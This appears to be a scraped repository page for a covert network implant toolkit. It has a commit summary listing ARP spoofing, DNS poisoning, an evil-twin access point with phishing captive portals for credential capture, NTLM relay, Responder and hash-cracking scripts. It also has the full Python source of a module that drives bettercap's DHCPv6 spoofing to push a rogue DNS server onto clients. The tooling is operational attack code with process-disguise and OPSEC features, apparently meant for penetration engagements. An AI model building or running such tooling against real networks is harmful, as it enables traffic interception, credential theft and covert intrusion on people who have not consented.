ba5143b560
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
152 lines
4.6 KiB
Python
152 lines
4.6 KiB
Python
#!/usr/bin/env python3
|
|
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
|
|
|
|
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
|
|
a rogue DNS server (the implant) into client configurations.
|
|
This enables DNS-based MITM without ARP spoofing.
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import time
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger("bb.active.dhcp_spoof")
|
|
|
|
|
|
class DHCPSpoof(BaseModule):
|
|
"""DHCP spoofing via bettercap dhcp6.spoof.
|
|
|
|
Sets up a rogue DHCPv6 server that responds to DHCP requests,
|
|
injecting the implant as the DNS server. Combined with DNS
|
|
poisoning, this provides full MITM without ARP cache manipulation.
|
|
|
|
Dependencies:
|
|
- bettercap_mgr must be running.
|
|
|
|
Configuration:
|
|
dns_server: DNS server IP to inject (default: implant IP)
|
|
gateway: Gateway IP to advertise
|
|
"""
|
|
|
|
name = "dhcp_spoof"
|
|
module_type = "active"
|
|
priority = 200
|
|
requires_root = True
|
|
dependencies = ["bettercap_mgr"]
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._bettercap_mgr = None
|
|
self._spoofing = False
|
|
self._dns_server: Optional[str] = None
|
|
self._gateway: Optional[str] = None
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
|
if not self._bettercap_mgr:
|
|
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
|
|
return
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
|
logger.info("DHCPSpoof module started (ready for spoof commands)")
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
|
|
if self._spoofing:
|
|
self.stop_spoof()
|
|
|
|
self._running = False
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info("DHCPSpoof module stopped")
|
|
|
|
def status(self) -> dict:
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"spoofing": self._spoofing,
|
|
"dns_server": self._dns_server,
|
|
"gateway": self._gateway,
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Public API
|
|
# ------------------------------------------------------------------
|
|
|
|
def spoof(self, dns_server: str, gateway: str) -> bool:
|
|
"""Enable DHCP spoofing with rogue DNS server.
|
|
|
|
Args:
|
|
dns_server: IP to inject as DNS server (typically the implant IP).
|
|
gateway: Gateway IP to advertise in DHCP responses.
|
|
|
|
Returns:
|
|
True if DHCP spoofing was enabled.
|
|
"""
|
|
if not self._running or not self._bettercap_mgr:
|
|
logger.error("DHCPSpoof not started")
|
|
return False
|
|
|
|
try:
|
|
# Configure dhcp6.spoof parameters
|
|
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
|
|
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
|
|
|
self._spoofing = True
|
|
self._dns_server = dns_server
|
|
self._gateway = gateway
|
|
|
|
self.state.set(self.name, "dns_server", dns_server)
|
|
self.state.set(self.name, "gateway", gateway)
|
|
logger.info(
|
|
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
|
|
)
|
|
return True
|
|
|
|
except Exception:
|
|
logger.exception("Failed to enable DHCP spoofing")
|
|
return False
|
|
|
|
def stop_spoof(self) -> bool:
|
|
"""Disable DHCP spoofing.
|
|
|
|
Returns:
|
|
True if DHCP spoofing was stopped.
|
|
"""
|
|
if not self._bettercap_mgr:
|
|
return False
|
|
|
|
try:
|
|
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
|
self._spoofing = False
|
|
self._dns_server = None
|
|
self._gateway = None
|
|
|
|
self.state.set(self.name, "dns_server", "")
|
|
self.state.set(self.name, "gateway", "")
|
|
logger.info("DHCP spoofing disabled")
|
|
return True
|
|
|
|
except Exception:
|
|
logger.exception("Failed to disable DHCP spoofing")
|
|
return False
|